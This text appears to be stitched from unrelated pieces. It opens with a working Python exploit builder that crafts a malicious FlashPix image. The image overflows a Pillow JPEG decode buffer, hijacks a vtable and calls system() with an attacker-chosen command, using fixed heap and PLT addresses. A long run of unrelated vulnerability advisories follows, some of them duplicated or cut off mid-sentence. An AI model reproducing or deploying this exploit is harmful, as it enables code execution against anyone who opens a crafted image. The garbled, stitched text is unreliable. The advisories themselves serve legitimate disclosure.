FPX_CLSID = bytes.fromhex("0067615654C1CE11855300AA00A1F95B")
o32 = lambda v: struct.pack("<I", v)
p64 = lambda v: struct.pack("<Q", v)
INV = bytes(255 - i for i in range(256)) # 8-bit inversion table
def jpeg(src):
b = io.BytesIO()
Image.frombytes("CMYK", (W, H), bytes(src)).save(b, "JPEG", quality=100, subsampling=0)
return b.getvalue()
def decode_row(jpg):
# Predict what the vulnerable JCS_UNKNOWN path decodes, using Pillow itself: JCS_UNKNOWN emits
# the raw JPEG components R, while Pillow's own CMYK decode of the same file returns 255 - R
# (the Adobe-CMYK inversion). So 255 - Image.open(jpg) is exactly the vulnerable output. The
# last decoded row is the one that lands in (and overflows past) the buffer.
px = Image.open(io.BytesIO(jpg)).tobytes()
return px[(H - 1) * W * 4:].translate(INV)
def craft(targets, iters=40): # decode-feedback exact write (JPEG is lossy -> iterate to converge)
# base fill 0xBD -> decodes to 0x42, so the overflow GAPS match the crash-mode flood pattern
# that reaches PyBuffer_Release cleanly (uniform 0x42 avoids a premature glibc free() abort).
src = bytearray(b"\xbd" * (W * H * 4)); base = (H - 1) * W * 4; it = 0
for off, t in targets:
for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v
for it in range(iters):
dec = decode_row(jpeg(src)); bad = 0
for off, t in targets:
for i, v in enumerate(t):
if dec[off + i] != v:
bad += 1
src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v))
if not bad: break
return jpeg(src), it, bad
def maxid_for(w, h):
s, i = max(w, h), 1
while s > 64: s //= 2; i += 1
return i - 1
MAXID = maxid_for(W, H); RESNAME = "Resolution %04d" % MAXID
def image_contents():
ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b
cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE) # FPX color -> rawmode "LA"
props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID << 16), blob(cb))]
voff = 8 + 8 * len(props); idx = vals = b""
for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v)
body = o32(len(props)) + idx + vals
return (struct.pack("<HHI", 0xFFFE, 0, 0x00020005) + b"\x00" * 16 + o32(1) + b"\x00" * 16
+ o32(48) + o32(len(body) + 4) + body)
def subimage_header():
b = bytearray(80)
for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2),
(56, 36), (60, 16), (64, 0), (72, 2)]:
struct.pack_into("<I", b, o, v)
return bytes(b)
def build_fpx(jpg, out):
data = b"\x00" * 28 + jpg
assert len(data) <= DATA_PAD, (len(data), DATA_PAD)
pad = lambda x: x + b"\x00" * ((-len(x)) % SECT)
sd = {"ic": pad(image_contents().ljust(4096, b"\x00")),
"hdr": pad(subimage_header().ljust(4096, b"\x00")),
"dat": pad(data.ljust(DATA_PAD, b"\x00"))}
ns = lambda x: len(x) // SECT; order = ["ic", "dat", "hdr"]
dsec = math.ceil(6 * 128 / SECT); content = dsec + sum(ns(sd[k]) for k in order)
fsec = 1
while fsec * 128 < fsec + content: fsec += 1
pos = {}; cur = fsec; dstart = cur; cur += dsec
for k in order: pos[k] = cur; cur += ns(sd[k])
total = cur
fat = [FREESECT] * (fsec * 128)
for s in range(fsec): fat[s] = FATSECT
def chain(a, n):
for j in range(n): fat[a + j] = a + j + 1 if j < n - 1 else ENDOFCHAIN
chain(dstart, dsec)
for k in order: chain(pos[k], ns(sd[k]))
def de(nm, t, ch, l, r, st, sz, cl=b"\x00" * 16):
n = (nm.encode("utf-16-le") + b"\x00\x00").ljust(64, b"\x00")[:64]
return (n + struct.pack("<HBB", min((len(nm) + 1) * 2, 64), t, 1) + o32(l) + o32(r)
+ o32(ch) + cl + o32(0) + b"\x00" * 16 + o32(st) + struct.pack("<Q", sz))
directory = pad(b"".join([
de("Root Entry", 5, 1, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0, FPX_CLSID),
de("Data Object Store 000001", 1, 2, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),
de("\x05Image Contents", 2, NOSTREAM, NOSTREAM, 3, pos["ic"], len(sd["ic"])),
de(RESNAME, 1, 4, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),
de("Subimage 0000 Data", 2, NOSTREAM, NOSTREAM, 5, pos["dat"], len(sd["dat"])),
de("Subimage 0000 Header", 2, NOSTREAM, NOSTREAM, NOSTREAM, pos["hdr"], len(sd["hdr"]))]))
h = bytearray(512); h[0:8] = bytes.fromhex("D0CF11E0A1B11AE1")
for o, fmt, *v in [(24, "<HH", 0x3E, 3), (28, "<H", 0xFFFE), (30, "<HH", 9, 6), (44, "<I", fsec),
(48, "<I", dstart), (56, "<I", 4096), (60, "<I", ENDOFCHAIN), (68, "<I", ENDOFCHAIN)]:
struct.pack_into(fmt, h, o, *v)
for i in range(109): struct.pack_into("<I", h, 76 + i * 4, i if i < fsec else FREESECT)
secs = [b""] * total
for s in range(fsec): secs[s] = b"".join(o32(x) for x in fat[s * 128:(s + 1) * 128])
for j in range(dsec): secs[dstart + j] = directory[j * SECT:(j + 1) * SECT]
for k in order:
for j in range(ns(sd[k])): secs[pos[k] + j] = sd[k][j * SECT:(j + 1) * SECT]
open(out, "wb").write(bytes(h) + b"".join(secs))
def xhex(s): return int(s, 16)
SYSTEM_PLT = 0x4206c0 # system@plt in the image's non-PIE python3.12 (fixed, no libc leak)
def main():
ap = argparse.ArgumentParser(description="F-JPEG-1 .fpx payload builder (0-ASLR box)")
ap.add_argument("--out", required=True, help="output .fpx path")
ap.add_argument("--crash", action="store_true",
help="crash mode: flood an adjacent ob_type with 0x42.. and SIGSEGV (no addresses)")
ap.add_argument("--heap-base", type=xhex, default=0xbaa000,
help="fixed heap base of the 0-ASLR box (default 0xbaa000)")
ap.add_argument("--offset", type=xhex, default=0x21e800,
help="state->buffer - heap_base (default 0x21e800 -> S=0xdc8800)")
ap.add_argument("--target", type=xhex, default=SENTINEL,
help="value called via the hijacked vtable; pass %#x (system@plt) for "
"command execution (default is a sentinel for an RIP-control demo)" % SYSTEM_PLT)
ap.add_argument("--cmd", default="id",
help="command system() runs, written inline at obj+0 / rdi (<=7 bytes, e.g. id, id;w)")
a = ap.parse_args()
if a.crash:
# Pillow's CMYK JPEG path decodes inverted (decoded = 255 - src), so flood source 0xBD
# to make the decoded overflow bytes 0x42 -> the adjacent ob_type becomes 0x4242424242424242.
build_fpx(jpeg(bytes([0xBD]) * (W * H * 4)), a.out)
print("[crash] %s: opening it overwrites an adjacent ob_type with 0x4242424242424242 "
"-> SIGSEGV in PyBuffer_Release (no addresses)" % a.out)
return
if len(a.cmd.encode()) > 7:
sys.exit("--cmd must be <=7 bytes (it is written inline at obj+0, before ob_type)")
S = a.heap_base + a.offset
A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000 # spray A = fake type, spray B = TARGET
tg = [(OB_TYPE_OFF, p64(S + (A0 + A1) // 2)),
(OB_TYPE_OFF - 8, a.cmd.encode() + b"\x00")] # obj+0 -> rdi for system()
tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)] # fake type -> spray B at +0xa0..+8
tg += [(o, p64(a.target)) for o in range(B0, B1, 8)]
jpg, it, bad = craft(tg)
build_fpx(jpg, a.out)
print("[control] %s: S=%#x target=%#x cmd=%r craft_iters=%d bad=%d"
% (a.out, S, a.target, a.cmd, it, bad))
print("[control] opening it: vtable hijack -> call *%#x with rdi -> %r" % (a.target, a.cmd))
if __name__ == "__main__":
main()
```
### Impact
The Streamable HTTP transport was constructed without `enableDnsRebindingProtection`/`allowedHosts`/`allowedOrigins` and performed no `Origin`-header validation. With the documented `auth.mode: "none"` loopback default, a **drive-by web page could `POST http://127.0.0.1/mcp`** and receive caller `http-local` with scopes `["*"]` — full vault read/write — via DNS rebinding / a forged Origin.
### Patches
Fixed in **1.3.1**. Upgrade to `>= 1.3.1`. The transport now enables DNS-rebinding protection and allowed hosts/origins and returns HTTP 403 on an invalid Origin (per MCP 2025-11-25).
### Workarounds
Do not expose the HTTP transport with `auth.mode: "none"`; require JWT auth, or bind to a non-loopback interface behind a proxy that validates `Origin`.
Relative path traversal during model archive extraction in Amazon Web Services Multi Model Server 1.1.11 and earlier might allow remote actors to execute arbitrary code via a crafted model archive.
Multi Model Server is end of life and no fixed version is available. Users should discontinue use of Multi Model Server and migrate to a supported model serving solution.
### Impact
Tool dispatch did not check the caller-supplied `input.vault` against the caller's bound vault (`ctx.vaultId`); the folder ACL was a single global instance and the JWT carried no vault claim. As a result, **any valid token could read, write, or delete any configured vault** by passing `input.vault`, defeating multi-tenant isolation across ~90 tool sites. (`resources/read` was the only surface that already guarded this.)
### Patches
Fixed in **1.3.1** (the fix was developed on the `v1.3.0` tag, which never published to npm; 1.3.1 is the first published release with the fix). Upgrade to `>= 1.3.1`.
### Workarounds
Run a single vault per server process, or isolate each tenant on a separate process/credential.
### Fix
A central `input.vault === ctx.vaultId` guard was added in dispatch before the scope check.
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 25.08 to before version 26.05, the IIIF Auth 2.0 endpoints auth/login and auth/token in AuthorizationFlowResource accept an origin query parameter without validation and then (1) embed it into the Content-Security-Policy: frame-ancestors response header and (2) embed it into an HTML response body as a JavaScript single-quoted postMessage argument. Because the attacker controls both the login and token calls that initiate the flow, the unescaped value yields reflected XSS. This issue has been patched in version 26.05.
Conda Organization Infrastructure is a centralized location for infrastructure codes. Prior to commit 9c0f238, a GitHub Actions Pwn Request vulnerability appears to remain present in conda/conda. The affected workflow is .github/workflows/update.yml. It is triggered by issue_comment events containing @conda-bot render or @conda-bot recreate. For the render path, the workflow obtains the pull request head repository and branch from the PR API, checks out that PR-controlled repository/ref using secrets.SYNC_TOKEN, and then runs conda/actions/template-files@7f6830b1428a9bd47f0b068892c77eae95207037. The external template-files action reads its default configuration and templates from the checked-out working directory. In the confirmed finding, that action uses an unsandboxed Jinja2 environment to render attacker-controlled template content. This creates a Pwn Request chain in which an untrusted PR/comment path can reach template rendering in a privileged token context. This issue has been patched via commit 9c0f238.
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 24.03 to before version 26.05, ExternalFilesDownloader.getFilename() extracts the destination filename from a server-supplied Content-Disposition response header and passes it directly to Path.resolve() without stripping directory components. This allows for a malicious HTTP server that the viewer fetches from to supply an absolute path or ../ traversal sequences as the filename, writing attacker-controlled content to an arbitrary path writable by the Tomcat process. When targeting the deployed web-application directory, this yields remote code execution as the tomcat OS user. This issue has been patched in version 26.05.
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 24.03 to before version 26.05, the DownloadTaskEndpoint WebSocket endpoint (/tasks/download/monitor.socket) in goobi-viewer-core accepts download requests from unauthenticated users. This issue has been patched in version 26.05.
odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt. Prior to version 25.12, odhcpd's DHCPv6 IA response handler writes past the end of a fixed 512-byte stack buffer (pdbuf) when a single DHCPv6 REQUEST carries enough IA options to nearly exhaust the reply space. Two independent overflow sites exist in the same call chain, both reachable from the network via a single unauthenticated UDP packet. odhcpd runs as root on OpenWrt; embedded targets often lack stack canaries and ASLR, making code execution realistic. This issue has been patched in version 25.12.
Missing authentication for a critical function in the Android Debug Bridge daemon (adbd) in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 allows an attacker to obtain an unauthenticated shell (uid 2000), a foothold for privilege escalation to root. The device ships with ro.adb.secure=0 (no host key authorization) and USB ADB enabled by default; ADB over TCP is not enabled by default but, once enabled (e.g. via the shipped /system/bin/adbd_tcp.sh or 'setprop persist.adb.tcp.port 5555'), the same unauthenticated shell is reachable over the network (CVSS 4.0 base 9.3).
PraisonAI is a multi-agent teams system. From version 4.2.1 to before version 4.6.59, PraisonAI's AgentOS FastAPI deployment surface remains unauthenticated in current main and in releases after the published patched version for GHSA-pm96-6xpr-978x / CVE-2026-40151. The chat route directly calls agent.chat(request.message). No-auth and wrong-bearer requests both execute the deployed agent. This is broader than passive metadata disclosure. In any deployment where AgentOS wraps agents with tools, private context, memory, API integrations, or cost-bearing model calls, an unauthenticated reachable client can drive those agents. This issue has been patched in version 4.6.59.
Deserialization of Untrusted Data vulnerability in ThemeREX Group Little Birdies little-birdies allows Object Injection.This issue affects L
🏢ThemeREX Group· Little Birdies🛡️CWE-502📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Deserialization of Untrusted Data vulnerability in ThemeREX Group Little Birdies little-birdies allows Object Injection.This issue affects Little Birdies: from n/a through 1.3.16.
Deserialization of Untrusted Data vulnerability in axiomthemes Rhodos rhodos allows Object Injection.This issue affects Rhodos: from n/a through 1.3.3.
Deserialization of Untrusted Data vulnerability in axiomthemes Reprizo reprizo allows Object Injection.This issue affects Reprizo: from n/a through 1.0.8.
Deserialization of Untrusted Data vulnerability in ThemeREX Group Vagabonds vagabonds allows Object Injection.This issue affects Vagabonds: from n/a through 1.3.10.
Deserialization of Untrusted Data vulnerability in axiomthemes Holistic Center holistic-center allows Object Injection.This issue affects Holistic Center: from n/a through 1.2.6.
Deserialization of Untrusted Data vulnerability in axiomthemes Hallelujah hallelujah allows Object Injection.This issue affects Hallelujah: from n/a through 1.1.1.
Deserialization of Untrusted Data vulnerability in ThemeREX Group HotLock hotlock allows Object Injection.This issue affects HotLock: from n/a through 1.3.9.
Deserialization of Untrusted Data vulnerability in AivahThemes Hostme v2 hostmev2 allows Object Injection.This issue affects Hostme v2: from n/a through 7.0.
Deserialization of Untrusted Data vulnerability in ThemeREX Group Save Life save-life allows Object Injection.This issue affects Save Life:
🏢ThemeREX Group· Save Life🛡️CWE-502📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Deserialization of Untrusted Data vulnerability in ThemeREX Group Save Life save-life allows Object Injection.This issue affects Save Life: from n/a through 1.2.14.
Improper Certificate Validation vulnerability in the WebSocket streaming client in agentjido req_llm allows an on-path attacker to read and modify OpenAI WebSocket sessions, including the authorization bearer token, via a TLS certificate the client does not trust. ReqLLM.Streaming.WebSocketSession.Client.start/3 in lib/req_llm/streaming/web_socket_session/client.ex starts WebSockex without TLS options, and WebSockex defaults to insecure: true, which connects with verify: :verify_none. The option allowlist also drops any caller-supplied cacerts or ssl_options, so an application cannot turn verification on.
The OpenAI Responses, Realtime, and Codex WebSocket paths reach this client and send the API key or OAuth access token in the authorization header. HTTP streaming through Finch and the HTTP/2 duplex session through Mint verify certificates and are not affected.
This issue affects req_llm: from 1.9.0 before 1.29.0.
Initialization of a Resource with an Insecure Default vulnerability in Hallo Welt! GmbH BlueSpice (container image bluespice/wiki) allows privilege escalation. The default value of $mwsgTokenAuthenticatorServiceCIDR in the container's LocalSettings.php was intended to restrict internal service authentication to the container network, but evaluated to an empty string when the environment variable WIKI_SERVICE_TOKEN_AUTH_ALLOWED was not set. An empty value disables the IP restriction in the token authenticator component (mwstake/mediawiki-component-token-authenticator). As a result, any user with read access to the wiki (anonymous users on publicly readable wikis) could obtain an application token from the REST API and use it to get a session with sysop privileges as the internal service user.
This issue affects BlueSpice: from 5.2.3 before 5.2.7, and the 5.2.7 container images published before 2026-10-19 15:37 UTC.
Deserialization of Untrusted Data vulnerability in xnau webdesign Participants Database participants-database allows Object Injection.This issue affects Participants Database: from n/a through 2.7.8.5.
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in xnau webdesign Participants Database participants-database allows Blind SQL Injection.This issue affects Participants Database: from n/a through 2.7.8.5.
CGM CLININET is vulnerable to local privilege escalation. The service that processes incoming HL7 messages runs with root privileges, but due to incorrect permissions, its scripts and configuration files can be modified by the uhcapache user. An attacker with uhcapache privileges can modify these files to execute arbitrary code as root.
The vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.